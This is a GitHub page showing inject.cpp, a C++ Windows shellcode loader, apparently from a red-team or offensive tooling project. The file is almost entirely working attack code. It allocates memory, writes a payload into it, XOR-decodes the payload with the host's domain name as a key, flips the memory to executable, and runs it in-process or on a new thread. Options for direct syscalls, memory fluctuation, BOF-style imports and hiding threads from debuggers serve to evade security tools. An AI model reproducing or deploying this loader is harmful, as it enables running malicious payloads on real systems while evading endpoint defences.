-
Notifications
You must be signed in to change notification settings - Fork 320
/
inject.cpp
308 lines (275 loc) · 8.56 KB
/
inject.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
#pragma clang diagnostic ignored "-Wnested-anon-types"
#pragma clang diagnostic ignored "-Wgnu-anonymous-struct"
#include "inject.hpp"
#ifdef SYSCALLS
#include "deps/inline_syscall/include/in_memory_init.hpp"
#endif
#define NT_FAIL(status) (status < 0)
#ifdef _BOF_
#pragma clang diagnostic ignored "-Wdollar-in-identifier-extension"
extern "C" DECLSPEC_IMPORT WINBASEAPI WINAPI void KERNEL32$Sleep(
DWORD dwMilliseconds
);
#define Sleep KERNEL32$Sleep
extern "C" DECLSPEC_IMPORT WINBASEAPI WINAPI LPVOID KERNEL32$VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
#define VirtualAllocEx KERNEL32$VirtualAllocEx
extern "C" DECLSPEC_IMPORT WINBASEAPI WINAPI BOOL KERNEL32$VirtualProtectEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
#define VirtualProtectEx KERNEL32$VirtualProtectEx
extern "C" DECLSPEC_IMPORT WINBASEAPI WINAPI BOOL KERNEL32$WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
#define WriteProcessMemory KERNEL32$WriteProcessMemory
extern "C" DECLSPEC_IMPORT WINBASEAPI WINAPI HANDLE KERNEL32$CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
#define CreateRemoteThread KERNEL32$CreateRemoteThread
extern "C" DECLSPEC_IMPORT WINBASEAPI WINAPI DWORD KERNEL32$WaitForSingleObject(
HANDLE hHandle,
DWORD dwMilliseconds
);
#define WaitForSingleObject KERNEL32$WaitForSingleObject
#endif
void my_init_syscalls_list(void) {
#ifdef SYSCALLS
jm::init_syscalls_list();
#endif
}
typedef void* (*funcPtr)();
void executor(funcPtr shellcode) {
(*shellcode)();
}
LPVOID inject_shellcode_self(unsigned char shellcode[], SIZE_T size, PHANDLE phThread, BOOL wait, unsigned int sleep_time) {
#ifdef _DEBUG_
if (sleep_time > 0)
wprintf(L"sleeping for %d seconds!\n", sleep_time);
#endif
#ifdef SYSCALLS
NTSTATUS status = STATUS_PENDING;
LARGE_INTEGER li_sleep_time;
li_sleep_time.QuadPart = -((long long)sleep_time * 10000000);
status = INLINE_SYSCALL(NtDelayExecution)(TRUE, &li_sleep_time);
if (NT_FAIL(status)) {
#ifdef _DEBUG_
wprintf(L"ERROR: NtDelayExecution = 0x%x\n", status);
#endif
return NULL;
}
#else
Sleep(sleep_time);
#endif
#ifdef FLUCTUATE
fluctuate();
#endif
#if defined(SELFINJECT) && defined(RX) && defined(_TEXT_)
funcPtr func = (funcPtr)shellcode;
*phThread = 0;
#ifdef _DEBUG_
puts("self executing the payload in .text");
#endif
executor(func);
return NULL;
#else
void* allocation = nullptr;
#ifdef SYSCALLS
status = INLINE_SYSCALL(NtAllocateVirtualMemory)(
(HANDLE)-1,
&allocation,
0,
&size,
MEM_RESERVE | MEM_COMMIT,
#ifdef RX
PAGE_READWRITE);
#else
PAGE_EXECUTE_READWRITE);
#endif
if (NT_FAIL(status) || !allocation)
{
#ifdef _DEBUG_
wprintf(L"ERROR: NtAllocateVirtualMemory = 0x%x\n", status);
#endif
return NULL;
}
#else
allocation = VirtualAllocEx(
(HANDLE)-1,
0,
size,
MEM_RESERVE | MEM_COMMIT,
#ifdef RX
PAGE_READWRITE);
#else
PAGE_EXECUTE_READWRITE);
#endif
if (!allocation)
{
#ifdef _DEBUG_
wprintf(L"ERROR: VirtualAllocEx = 0x%x\n", GetLastError());
#endif
return NULL;
}
#endif
#ifdef _DEBUG_
wprintf(L"Allocated rwx memory @ 0x%x\n", allocation);
#endif
SIZE_T bytesWritten = 0;
#ifdef SYSCALLS
status = INLINE_SYSCALL(NtWriteVirtualMemory)(
(HANDLE)-1,
allocation,
shellcode,
size,
&bytesWritten);
if (NT_FAIL(status) || bytesWritten < size)
{
#ifdef _DEBUG_
wprintf(L"ERROR: NtWriteVirtualMemory = 0x%x\n", status);
#endif
return NULL;
}
#else
BOOL res = WriteProcessMemory(
(HANDLE)-1,
allocation,
shellcode,
size,
&bytesWritten);
if (!res) {
#ifdef _DEBUG_
wprintf(L"ERROR: WriteProcessMemory = 0x%x\n", GetLastError());
#endif
return NULL;
}
#endif
#ifdef _DEBUG_
wprintf(L"Written %d bytes of data @ 0x%x\n", bytesWritten, allocation);
#endif
#ifdef XOR_KEY
unsigned long max_length = 256;
char domain[256] = { 0 };
if (!GetComputerNameExA(ComputerNameDnsFullyQualified, domain, &max_length)) {
#ifdef _DEBUG_
wprintf(L"ERROR: GetComputerNameExA = 0x%x\n", GetLastError());
#endif
} else {
#ifdef _DEBUG_
wprintf(L"GetComputerNameExA = %s\n", domain);
#endif
}
for (SIZE_T i = 0; i < size; i++) {
((char*)allocation)[i] ^= domain[i % max_length];
}
#endif
#ifdef RX
DWORD old = 0;
#ifdef SYSCALLS
status = INLINE_SYSCALL(NtProtectVirtualMemory)(
(HANDLE)-1,
allocation,
size,
PAGE_EXECUTE_READ,
&old);
if (NT_FAIL(status) || old == 0)
{
#ifdef _DEBUG_
wprintf(L"ERROR: NtProtectVirtualMemory = 0x%x\n", status);
#endif
return NULL;
}
#else
res = VirtualProtectEx(
(HANDLE)-1,
allocation,
size,
PAGE_EXECUTE_READ,
&old);
if (!res) {
#ifdef _DEBUG_
wprintf(L"ERROR: VirtualProtectEx = 0x%x\n", GetLastError());
#endif
return NULL;
}
#endif
#endif
#ifdef SELFINJECT
typedef void* (*funcPtr)();
funcPtr func = (funcPtr)allocation;
*phThread = 0;
#ifdef _DEBUG_
puts("self executing the allocated payload");
#endif
return (*func)();
#elif SYSCALLS
status = INLINE_SYSCALL(NtCreateThreadEx)(
phThread,
THREAD_ALL_ACCESS,
nullptr,
(HANDLE)-1,
(void*)executor,
allocation,
THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER,
0,
0,
0,
nullptr);
if (NT_FAIL(status) || !*phThread)
{
#ifdef _DEBUG_
wprintf(L"ERROR: NtCreateThreadEx = 0x%x\n", status);
#endif
return NULL;
}
#else
*phThread = CreateRemoteThread(
(HANDLE)-1,
NULL,
0,
(LPTHREAD_START_ROUTINE)executor,
allocation,
NULL,
NULL
);
if (!*phThread) {
#ifdef _DEBUG_
wprintf(L"ERROR: CreateRemoteThread = 0x%x\n", GetLastError());
#endif
return NULL;
}
#endif
#ifdef _DEBUG_
wprintf(L"Created thread #%d\n", *phThread);
#endif
if (wait) {
#ifdef _DEBUG_
wprintf(L"Waiting for thread #%d\n", *phThread);
#endif
#ifdef SYSCALLS
INLINE_SYSCALL(NtWaitForSingleObject)(*phThread, TRUE, NULL);
#else
WaitForSingleObject(*phThread, -1);
#endif
}
return allocation;
#endif
}